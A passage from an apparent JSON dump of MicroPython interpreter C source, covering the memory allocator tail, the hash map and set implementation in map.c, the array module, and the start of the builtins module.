DEBUG_printf(\"malloc %d : %p\\n\", num_bytes, ptr);\n    return ptr;\n}\n\n#if MICROPY_ENABLE_FINALISER\nvoid *m_malloc_with_finaliser(size_t num_bytes) {\n    void *ptr = malloc_with_finaliser(num_bytes);\n    if (ptr == NULL && num_bytes != 0) {\n        return m_malloc_fail(num_bytes);\n    }\n#if MICROPY_MEM_STATS\n    MP_STATE_MEM(total_bytes_allocated) += num_bytes;\n    MP_STATE_MEM(current_bytes_allocated) += num_bytes;\n    UPDATE_PEAK();\n#endif\n    DEBUG_printf(\"malloc %d : %p\\n\", num_bytes, ptr);\n    return ptr;\n}\n#endif\n\nvoid *m_malloc0(size_t num_bytes) {\n    void *ptr = m_malloc(num_bytes);\n    if (ptr == NULL && num_bytes != 0) {\n        return m_malloc_fail(num_bytes);\n    }\n    // If this config is set then the GC clears all memory, so we don't need to.\n    #if !MICROPY_GC_CONSERVATIVE_CLEAR\n    memset(ptr, 0, num_bytes);\n    #endif\n    return ptr;\n}\n\n#if MICROPY_MALLOC_USES_ALLOCATED_SIZE\nvoid *m_realloc(void *ptr, size_t old_num_bytes, size_t new_num_bytes) {\n#else\nvoid *m_realloc(void *ptr, size_t new_num_bytes) {\n#endif\n    void *new_ptr = realloc(ptr, new_num_bytes);\n    if (new_ptr == NULL && new_num_bytes != 0) {\n        return m_malloc_fail(new_num_bytes);\n    }\n#if MICROPY_MEM_STATS\n    // At first thought, \"Total bytes allocated\" should only grow,\n    // after all, it's *total*. But consider for example 2K block\n    // shrunk to 1K and then grown to 2K again. It's still 2K\n    // allocated total. If we process only positive increments,\n    // we'll count 3K.\n    size_t diff = new_num_bytes - old_num_bytes;\n    MP_STATE_MEM(total_bytes_allocated) += diff;\n    MP_STATE_MEM(current_bytes_allocated) += diff;\n    UPDATE_PEAK();\n#endif\n    DEBUG_printf(\"realloc %p, %d, %d : %p\\n\", ptr, old_num_bytes, new_num_bytes, new_ptr);\n    return new_ptr;\n}\n\n#if MICROPY_MALLOC_USES_ALLOCATED_SIZE\nvoid *m_realloc_maybe(void *ptr, size_t old_num_bytes, size_t new_num_bytes, bool allow_move) {\n#else\nvoid *m_realloc_maybe(void *ptr, size_t new_num_bytes, bool allow_move) {\n#endif\n    void *new_ptr = realloc_ext(ptr, new_num_bytes, allow_move);\n#if MICROPY_MEM_STATS\n    // At first thought, \"Total bytes allocated\" should only grow,\n    // after all, it's *total*. But consider for example 2K block\n    // shrunk to 1K and then grown to 2K again. It's still 2K\n    // allocated total. If we process only positive increments,\n    // we'll count 3K.\n    // Also, don't count failed reallocs.\n    if (!(new_ptr == NULL && new_num_bytes != 0)) {\n        size_t diff = new_num_bytes - old_num_bytes;\n        MP_STATE_MEM(total_bytes_allocated) += diff;\n        MP_STATE_MEM(current_bytes_allocated) += diff;\n        UPDATE_PEAK();\n    }\n#endif\n    DEBUG_printf(\"realloc %p, %d, %d : %p\\n\", ptr, old_num_bytes, new_num_bytes, new_ptr);\n    return new_ptr;\n}\n\n#if MICROPY_MALLOC_USES_ALLOCATED_SIZE\nvoid m_free(void *ptr, size_t num_bytes) {\n#else\nvoid m_free(void *ptr) {\n#endif\n    free(ptr);\n#if MICROPY_MEM_STATS\n    MP_STATE_MEM(current_bytes_allocated) -= num_bytes;\n#endif\n    DEBUG_printf(\"free %p, %d\\n\", ptr, num_bytes);\n}\n\n#if MICROPY_MEM_STATS\nsize_t m_get_total_bytes_allocated(void) {\n    return MP_STATE_MEM(total_bytes_allocated);\n}\n\nsize_t m_get_current_bytes_allocated(void) {\n    return MP_STATE_MEM(current_bytes_allocated);\n}\n\nsize_t m_get_peak_bytes_allocated(void) {\n    return MP_STATE_MEM(peak_bytes_allocated);\n}\n#endif\n"
  },
  {
    "path": "micropython/source/py/map.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n// Fixed empty map. Useful when need to call kw-receiving functions\n// without any keywords from C, etc.\nconst mp_map_t mp_const_empty_map = {\n    .all_keys_are_qstrs = 0,\n    .is_fixed = 1,\n    .is_ordered = 1,\n    .used = 0,\n    .alloc = 0,\n    .table = NULL,\n};\n\n// This table of sizes is used to control the growth of hash tables.\n// The first set of sizes are chosen so the allocation fits exactly in a\n// 4-word GC block, and it's not so important for these small values to be\n// prime.  The latter sizes are prime and increase at an increasing rate.\nSTATIC const uint16_t hash_allocation_sizes[] = {\n    0, 2, 4, 6, 8, 10, 12, // +2\n    17, 23, 29, 37, 47, 59, 73, // *1.25\n    97, 127, 167, 223, 293, 389, 521, 691, 919, 1223, 1627, 2161, // *1.33\n    3229, 4831, 7243, 10861, 16273, 24407, 36607, 54907, // *1.5\n};\n\nSTATIC size_t get_hash_alloc_greater_or_equal_to(size_t x) {\n    for (size_t i = 0; i < MP_ARRAY_SIZE(hash_allocation_sizes); i++) {\n        if (hash_allocation_sizes[i] >= x) {\n            return hash_allocation_sizes[i];\n        }\n    }\n    // ran out of primes in the table!\n    // return something sensible, at least make it odd\n    return (x + x / 2) | 1;\n}\n\n/******************************************************************************/\n/* map                                                                        */\n\nvoid mp_map_init(mp_map_t *map, size_t n) {\n    if (n == 0) {\n        map->alloc = 0;\n        map->table = NULL;\n    } else {\n        map->alloc = n;\n        map->table = m_new0(mp_map_elem_t, map->alloc);\n    }\n    map->used = 0;\n    map->all_keys_are_qstrs = 1;\n    map->is_fixed = 0;\n    map->is_ordered = 0;\n}\n\nvoid mp_map_init_fixed_table(mp_map_t *map, size_t n, const mp_obj_t *table) {\n    map->alloc = n;\n    map->used = n;\n    map->all_keys_are_qstrs = 1;\n    map->is_fixed = 1;\n    map->is_ordered = 1;\n    map->table = (mp_map_elem_t*)table;\n}\n\nmp_map_t *mp_map_new(size_t n) {\n    mp_map_t *map = m_new(mp_map_t, 1);\n    mp_map_init(map, n);\n    return map;\n}\n\n// Differentiate from mp_map_clear() - semantics is different\nvoid mp_map_deinit(mp_map_t *map) {\n    if (!map->is_fixed) {\n        m_del(mp_map_elem_t, map->table, map->alloc);\n    }\n    map->used = map->alloc = 0;\n}\n\nvoid mp_map_free(mp_map_t *map) {\n    mp_map_deinit(map);\n    m_del_obj(mp_map_t, map);\n}\n\nvoid mp_map_clear(mp_map_t *map) {\n    if (!map->is_fixed) {\n        m_del(mp_map_elem_t, map->table, map->alloc);\n    }\n    map->alloc = 0;\n    map->used = 0;\n    map->all_keys_are_qstrs = 1;\n    map->is_fixed = 0;\n    map->table = NULL;\n}\n\nSTATIC void mp_map_rehash(mp_map_t *map) {\n    size_t old_alloc = map->alloc;\n    size_t new_alloc = get_hash_alloc_greater_or_equal_to(map->alloc + 1);\n    mp_map_elem_t *old_table = map->table;\n    mp_map_elem_t *new_table = m_new0(mp_map_elem_t, new_alloc);\n    // If we reach this point, table resizing succeeded, now we can edit the old map.\n    map->alloc = new_alloc;\n    map->used = 0;\n    map->all_keys_are_qstrs = 1;\n    map->table = new_table;\n    for (size_t i = 0; i < old_alloc; i++) {\n        if (old_table[i].key != MP_OBJ_NULL && old_table[i].key != MP_OBJ_SENTINEL) {\n            mp_map_lookup(map, old_table[i].key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = old_table[i].value;\n        }\n    }\n    m_del(mp_map_elem_t, old_table, old_alloc);\n}\n\n// MP_MAP_LOOKUP behaviour:\n//  - returns NULL if not found, else the slot it was found in with key,value non-null\n// MP_MAP_LOOKUP_ADD_IF_NOT_FOUND behaviour:\n//  - returns slot, with key non-null and value=MP_OBJ_NULL if it was added\n// MP_MAP_LOOKUP_REMOVE_IF_FOUND behaviour:\n//  - returns NULL if not found, else the slot if was found in with key null and value non-null\nmp_map_elem_t *mp_map_lookup(mp_map_t *map, mp_obj_t index, mp_map_lookup_kind_t lookup_kind) {\n\n    if (map->is_fixed && lookup_kind != MP_MAP_LOOKUP) {\n        // can't add/remove from a fixed array\n        return NULL;\n    }\n\n    // Work out if we can compare just pointers\n    bool compare_only_ptrs = map->all_keys_are_qstrs;\n    if (compare_only_ptrs) {\n        if (MP_OBJ_IS_QSTR(index)) {\n            // Index is a qstr, so can just do ptr comparison.\n        } else if (MP_OBJ_IS_TYPE(index, &mp_type_str)) {\n            // Index is a non-interned string.\n            // We can either intern the string, or force a full equality comparison.\n            // We chose the latter, since interning costs time and potentially RAM,\n            // and it won't necessarily benefit subsequent calls because these calls\n            // most likely won't pass the newly-interned string.\n            compare_only_ptrs = false;\n        } else if (lookup_kind != MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n            // If we are not adding, then we can return straight away a failed\n            // lookup because we know that the index will never be found.\n            return NULL;\n        }\n    }\n\n    // if the map is an ordered array then we must do a brute force linear search\n    if (map->is_ordered) {\n        for (mp_map_elem_t *elem = &map->table[0], *top = &map->table[map->used]; elem < top; elem++) {\n            if (elem->key == index || (!compare_only_ptrs && mp_obj_equal(elem->key, index))) {\n                if (MP_UNLIKELY(lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND)) {\n                    // remove the found element by moving the rest of the array down\n                    mp_obj_t value = elem->value;\n                    --map->used;\n                    memmove(elem, elem + 1, (top - elem - 1) * sizeof(*elem));\n                    // put the found element after the end so the caller can access it if needed\n                    elem = &map->table[map->used];\n                    elem->key = MP_OBJ_NULL;\n                    elem->value = value;\n                }\n                return elem;\n            }\n        }\n        if (MP_LIKELY(lookup_kind != MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)) {\n            return NULL;\n        }\n        if (map->used == map->alloc) {\n            // TODO: Alloc policy\n            map->alloc += 4;\n            map->table = m_renew(mp_map_elem_t, map->table, map->used, map->alloc);\n            mp_seq_clear(map->table, map->used, map->alloc, sizeof(*map->table));\n        }\n        mp_map_elem_t *elem = map->table + map->used++;\n        elem->key = index;\n        if (!MP_OBJ_IS_QSTR(index)) {\n            map->all_keys_are_qstrs = 0;\n        }\n        return elem;\n    }\n\n    // map is a hash table (not an ordered array), so do a hash lookup\n\n    if (map->alloc == 0) {\n        if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n            mp_map_rehash(map);\n        } else {\n            return NULL;\n        }\n    }\n\n    // get hash of index, with fast path for common case of qstr\n    mp_uint_t hash;\n    if (MP_OBJ_IS_QSTR(index)) {\n        hash = qstr_hash(MP_OBJ_QSTR_VALUE(index));\n    } else {\n        hash = MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, index));\n    }\n\n    size_t pos = hash % map->alloc;\n    size_t start_pos = pos;\n    mp_map_elem_t *avail_slot = NULL;\n    for (;;) {\n        mp_map_elem_t *slot = &map->table[pos];\n        if (slot->key == MP_OBJ_NULL) {\n            // found NULL slot, so index is not in table\n            if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n                map->used += 1;\n                if (avail_slot == NULL) {\n                    avail_slot = slot;\n                }\n                avail_slot->key = index;\n                avail_slot->value = MP_OBJ_NULL;\n                if (!MP_OBJ_IS_QSTR(index)) {\n                    map->all_keys_are_qstrs = 0;\n                }\n                return avail_slot;\n            } else {\n                return NULL;\n            }\n        } else if (slot->key == MP_OBJ_SENTINEL) {\n            // found deleted slot, remember for later\n            if (avail_slot == NULL) {\n                avail_slot = slot;\n            }\n        } else if (slot->key == index || (!compare_only_ptrs && mp_obj_equal(slot->key, index))) {\n            // found index\n            // Note: CPython does not replace the index; try x={True:'true'};x[1]='one';x\n            if (lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND) {\n                // delete element in this slot\n                map->used--;\n                if (map->table[(pos + 1) % map->alloc].key == MP_OBJ_NULL) {\n                    // optimisation if next slot is empty\n                    slot->key = MP_OBJ_NULL;\n                } else {\n                    slot->key = MP_OBJ_SENTINEL;\n                }\n                // keep slot->value so that caller can access it if needed\n            }\n            return slot;\n        }\n\n        // not yet found, keep searching in this table\n        pos = (pos + 1) % map->alloc;\n\n        if (pos == start_pos) {\n            // search got back to starting position, so index is not in table\n            if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n                if (avail_slot != NULL) {\n                    // there was an available slot, so use that\n                    map->used++;\n                    avail_slot->key = index;\n                    avail_slot->value = MP_OBJ_NULL;\n                    if (!MP_OBJ_IS_QSTR(index)) {\n                        map->all_keys_are_qstrs = 0;\n                    }\n                    return avail_slot;\n                } else {\n                    // not enough room in table, rehash it\n                    mp_map_rehash(map);\n                    // restart the search for the new element\n                    start_pos = pos = hash % map->alloc;\n                }\n            } else {\n                return NULL;\n            }\n        }\n    }\n}\n\n/******************************************************************************/\n/* set                                                                        */\n\n#if MICROPY_PY_BUILTINS_SET\n\nvoid mp_set_init(mp_set_t *set, size_t n) {\n    set->alloc = n;\n    set->used = 0;\n    set->table = m_new0(mp_obj_t, set->alloc);\n}\n\nSTATIC void mp_set_rehash(mp_set_t *set) {\n    size_t old_alloc = set->alloc;\n    mp_obj_t *old_table = set->table;\n    set->alloc = get_hash_alloc_greater_or_equal_to(set->alloc + 1);\n    set->used = 0;\n    set->table = m_new0(mp_obj_t, set->alloc);\n    for (size_t i = 0; i < old_alloc; i++) {\n        if (old_table[i] != MP_OBJ_NULL && old_table[i] != MP_OBJ_SENTINEL) {\n            mp_set_lookup(set, old_table[i], MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n        }\n    }\n    m_del(mp_obj_t, old_table, old_alloc);\n}\n\nmp_obj_t mp_set_lookup(mp_set_t *set, mp_obj_t index, mp_map_lookup_kind_t lookup_kind) {\n    // Note: lookup_kind can be MP_MAP_LOOKUP_ADD_IF_NOT_FOUND_OR_REMOVE_IF_FOUND which\n    // is handled by using bitwise operations.\n\n    if (set->alloc == 0) {\n        if (lookup_kind & MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n            mp_set_rehash(set);\n        } else {\n            return MP_OBJ_NULL;\n        }\n    }\n    mp_uint_t hash = MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, index));\n    size_t pos = hash % set->alloc;\n    size_t start_pos = pos;\n    mp_obj_t *avail_slot = NULL;\n    for (;;) {\n        mp_obj_t elem = set->table[pos];\n        if (elem == MP_OBJ_NULL) {\n            // found NULL slot, so index is not in table\n            if (lookup_kind & MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n                if (avail_slot == NULL) {\n                    avail_slot = &set->table[pos];\n                }\n                set->used++;\n                *avail_slot = index;\n                return index;\n            } else {\n                return MP_OBJ_NULL;\n            }\n        } else if (elem == MP_OBJ_SENTINEL) {\n            // found deleted slot, remember for later\n            if (avail_slot == NULL) {\n                avail_slot = &set->table[pos];\n            }\n        } else if (mp_obj_equal(elem, index)) {\n            // found index\n            if (lookup_kind & MP_MAP_LOOKUP_REMOVE_IF_FOUND) {\n                // delete element\n                set->used--;\n                if (set->table[(pos + 1) % set->alloc] == MP_OBJ_NULL) {\n                    // optimisation if next slot is empty\n                    set->table[pos] = MP_OBJ_NULL;\n                } else {\n                    set->table[pos] = MP_OBJ_SENTINEL;\n                }\n            }\n            return elem;\n        }\n\n        // not yet found, keep searching in this table\n        pos = (pos + 1) % set->alloc;\n\n        if (pos == start_pos) {\n            // search got back to starting position, so index is not in table\n            if (lookup_kind & MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n                if (avail_slot != NULL) {\n                    // there was an available slot, so use that\n                    set->used++;\n                    *avail_slot = index;\n                    return index;\n                } else {\n                    // not enough room in table, rehash it\n                    mp_set_rehash(set);\n                    // restart the search for the new element\n                    start_pos = pos = hash % set->alloc;\n                }\n            } else {\n                return MP_OBJ_NULL;\n            }\n        }\n    }\n}\n\nmp_obj_t mp_set_remove_first(mp_set_t *set) {\n    for (size_t pos = 0; pos < set->alloc; pos++) {\n        if (MP_SET_SLOT_IS_FILLED(set, pos)) {\n            mp_obj_t elem = set->table[pos];\n            // delete element\n            set->used--;\n            if (set->table[(pos + 1) % set->alloc] == MP_OBJ_NULL) {\n                // optimisation if next slot is empty\n                set->table[pos] = MP_OBJ_NULL;\n            } else {\n                set->table[pos] = MP_OBJ_SENTINEL;\n            }\n            return elem;\n        }\n    }\n    return MP_OBJ_NULL;\n}\n\nvoid mp_set_clear(mp_set_t *set) {\n    m_del(mp_obj_t, set->table, set->alloc);\n    set->alloc = 0;\n    set->used = 0;\n    set->table = NULL;\n}\n\n#endif // MICROPY_PY_BUILTINS_SET\n\n#if defined(DEBUG_PRINT) && DEBUG_PRINT\nvoid mp_map_dump(mp_map_t *map) {\n    for (size_t i = 0; i < map->alloc; i++) {\n        if (map->table[i].key != NULL) {\n            mp_obj_print(map->table[i].key, PRINT_REPR);\n        } else {\n            printf(\"(nil)\");\n        }\n        printf(\": %p\\n\", map->table[i].value);\n    }\n    printf(\"---\\n\");\n}\n#endif\n"
  },
  {
    "path": "micropython/source/py/modarray.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/builtin.h\"\n\n#if MICROPY_PY_ARRAY\n\nSTATIC const mp_rom_map_elem_t mp_module_array_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_array) },\n    { MP_ROM_QSTR(MP_QSTR_array), MP_ROM_PTR(&mp_type_array) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_array_globals, mp_module_array_globals_table);\n\nconst mp_obj_module_t mp_module_array = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_array_globals,\n};\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/modbuiltins.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/smallint.h\"\n#include \"py/objint.h\"\n#include \"py/objstr.h\"\n#include \"py/objtype.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n#include \"py/stream.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#include <math.h>\n#endif\n\n#if MICROPY_PY_IO\nextern struct _mp_dummy_t mp_sys_stdout_obj; // type is irrelevant, just need pointer\n#endif\n\n// args[0] is function from class body\n// args[1] is class name\n// args[2:] are base objects\nSTATIC mp_obj_t mp_builtin___build_class__(size_t n_args, const mp_obj_t *args) {\n    assert(2 <= n_args);\n\n    // set the new classes __locals__ object\n    mp_obj_dict_t *old_locals = mp_locals_get();\n    mp_obj_t class_locals = mp_obj_new_dict(0);\n    mp_locals_set(MP_OBJ_TO_PTR(class_locals));\n\n    // call the class code\n    mp_obj_t cell = mp_call_function_0(args[0]);\n\n    // restore old __locals__ object\n    mp_locals_set(old_locals);\n\n    // get the class type (meta object) from the base objects\n    mp_obj_t meta;\n    if (n_args == 2) {\n        // no explicit bases, so use 'type'\n        meta = MP_OBJ_FROM_PTR(&mp_type_type);\n    } else {\n        // use type of first base object\n        meta = MP_OBJ_FROM_PTR(mp_obj_get_type(args[2]));\n    }\n\n    // TODO do proper metaclass resolution for multiple base objects\n\n    // create the new class using a call to the meta object\n    mp_obj_t meta_args[3];\n    meta_args[0] = args[1]; // class name\n    meta_args[1] = mp_obj_new_tuple(n_args - 2, args + 2); // tuple of bases\n    meta_args[2] = class_locals; // dict of members\n    mp_obj_t new_class = mp_call_function_n_kw(meta, 3, 0, meta_args);\n\n    // store into cell if neede\n    if (cell != mp_const_none) {\n        mp_obj_cell_set(cell, new_class);\n    }\n\n    return new_class;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR(mp_builtin___build_class___obj, 2, mp_builtin___build_class__);\n\nSTATIC mp_obj_t mp_builtin_abs(mp_obj_t o_in) {\n    #if MICROPY_PY_BUILTINS_FLOAT\n    if (mp_obj_is_float(o_in)) {\n        mp_float_t value = mp_obj_float_get(o_in);\n        // TODO check for NaN etc\n        if (value < 0) {\n            return mp_obj_new_float(-value);\n        } else {\n            return o_in;\n        }\n    #if MICROPY_PY_BUILTINS_COMPLEX\n    } else if (MP_OBJ_IS_TYPE(o_in, &mp_type_complex)) {\n        mp_float_t real, imag;\n        mp_obj_complex_get(o_in, &real, &imag);\n        return mp_obj_new_float(MICROPY_FLOAT_C_FUN(sqrt)(real*real + imag*imag));\n    #endif\n    }\n    #endif\n\n    // this will raise a TypeError if the argument is not integral\n    return mp_obj_int_abs(o_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_abs_obj, mp_builtin_abs);\n\nSTATIC mp_obj_t mp_builtin_all(mp_obj_t o_in) {\n    mp_obj_iter_buf_t iter_buf;\n    mp_obj_t iterable = mp_getiter(o_in, &iter_buf);\n    mp_obj_t item;\n    while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n        if (!mp_obj_is_true(item)) {\n            return mp_const_false;\n        }\n    }\n    return mp_const_true;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_all_obj, mp_builtin_all);\n\nSTATIC mp_obj_t mp_builtin_any(mp_obj_t o_in) {\n    mp_obj_iter_buf_t iter_buf;\n    mp_obj_t iterable = mp_getiter(o_in, &iter_buf);\n    mp_obj_t item;\n    while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n        if (mp_obj_is_true(item)) {\n            return mp_const_true;\n        }\n    }\n    return mp_const_false;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_any_obj, mp_builtin_any);\n\nSTATIC mp_obj_t mp_builtin_bin(mp_obj_t o_in) {\n    mp_obj_t args[] = { MP_OBJ_NEW_QSTR(MP_QSTR__brace_open__colon__hash_b_brace_close_), o_in };\n    return mp_obj_str_format(MP_ARRAY_SIZE(args), args, NULL);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_bin_obj, mp_builtin_bin);\n\nSTATIC mp_obj_t mp_builtin_callable(mp_obj_t o_in) {\n    if (mp_obj_is_callable(o_in)) {\n        return mp_const_true;\n    } else {\n        return mp_const_false;\n    }\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_callable_obj, mp_builtin_callable);\n\nSTATIC mp_obj_t mp_builtin_chr(mp_obj_t o_in) {\n    #if MICROPY_PY_BUILTINS_STR_UNICODE\n    mp_uint_t c = mp_obj_get_int(o_in);\n    char str[4];\n    int len = 0;\n    if (c < 0x80) {\n        *str = c; len = 1;\n    } else if (c < 0x800) {\n        str[0] = (c >> 6) | 0xC0;\n        str[1] = (c & 0x3F) | 0x80;\n        len = 2;\n    } else if (c < 0x10000) {\n        str[0] = (c >> 12) | 0xE0;\n        str[1] = ((c >> 6) & 0x3F) | 0x80;\n        str[2] = (c & 0x3F) | 0x80;\n        len = 3;\n    } else if (c < 0x110000) {\n        str[0] = (c >> 18) | 0xF0;\n        str[1] = ((c >> 12) & 0x3F) | 0x80;\n        str[2] = ((c >> 6) & 0x3F) | 0x80;\n        str[3] = (c & 0x3F) | 0x80;\n        len = 4;\n    } else {\n        mp_raise_ValueError(\"chr() arg not in range(0x110000)\");\n    }\n    return mp_obj_new_str(str, len, true);\n    #else\n    mp_int_t ord = mp_obj_get_int(o_in);\n    if (0 <= ord && ord <= 0xff) {\n        char str[1] = {ord};\n        return mp_obj_new_str(str, 1, true);\n    } else {\n        mp_raise_ValueError(\"chr() arg not in range(256)\");\n    }\n    #endif\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_chr_obj, mp_builtin_chr);\n\nSTATIC mp_obj_t mp_builtin_dir(size_t n_args, const mp_obj_t *args) {\n    // TODO make this function more general and less of a hack\n\n    mp_obj_dict_t *dict = NULL;\n    mp_map_t *members = NULL;\n    if (n_args == 0) {\n        // make a list of names in the local name space\n        dict = mp_locals_get();\n    } else { // n_args == 1\n        // make a list of names in the given object\n        if (MP_OBJ_IS_TYPE(args[0], &mp_type_module)) {\n            dict = mp_obj_module_get_globals(args[0]);\n        } else {\n            mp_obj_type_t *type;\n            if (MP_OBJ_IS_TYPE(args[0], &mp_type_type)) {\n                type = MP_OBJ_TO_PTR(args[0]);\n            } else {\n                type = mp_obj_get_type(args[0]);\n            }\n            if (type->locals_dict != NULL && type->locals_dict->base.type == &mp_type_dict) {\n                dict = type->locals_dict;\n            }\n        }\n        if (mp_obj_is_instance_type(mp_obj_get_type(args[0]))) {\n            mp_obj_instance_t *inst = MP_OBJ_TO_PTR(args[0]);\n            members = &inst->members;\n        }\n    }\n\n    mp_obj_t dir = mp_obj_new_list(0, NULL);\n    if (dict != NULL) {\n        for (size_t i = 0; i < dict->map.alloc; i++) {\n            if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) {\n                mp_obj_list_append(dir, dict->map.table[i].key);\n            }\n        }\n    }\n    if (members != NULL) {\n        for (size_t i = 0; i < members->alloc; i++) {\n            if (MP_MAP_SLOT_IS_FILLED(members, i)) {\n                mp_obj_list_append(dir, members->table[i].key);\n            }\n        }\n    }\n    return dir;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_dir_obj, 0, 1, mp_builtin_dir);\n\nSTATIC mp_obj_t mp_builtin_divmod(mp_obj_t o1_in, mp_obj_t o2_in) {\n    return mp_binary_op(MP_BINARY_OP_DIVMOD, o1_in, o2_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_divmod_obj, mp_builtin_divmod);\n\nSTATIC mp_obj_t mp_builtin_hash(mp_obj_t o_in) {\n    // result is guaranteed to be a (small) int\n    return mp_unary_op(MP_UNARY_OP_HASH, o_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_hash_obj, mp_builtin_hash);\n\nSTATIC mp_obj_t mp_builtin_hex(mp_obj_t o_in) {\n    return mp_binary_op(MP_BINARY_OP_MODULO, MP_OBJ_NEW_QSTR(MP_QSTR__percent__hash_x), o_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_hex_obj, mp_builtin_hex);\n\n#if MICROPY_PY_BUILTINS_INPUT\n\n#include \"py/mphal.h\"\n#include \"lib/mp-readline/readline.h\"\n\n// A port can define mp_hal_readline if they want to use a custom function here\n#ifndef mp_hal_readline\n#define mp_hal_readline readline\n#endif\n\nSTATIC mp_obj_t 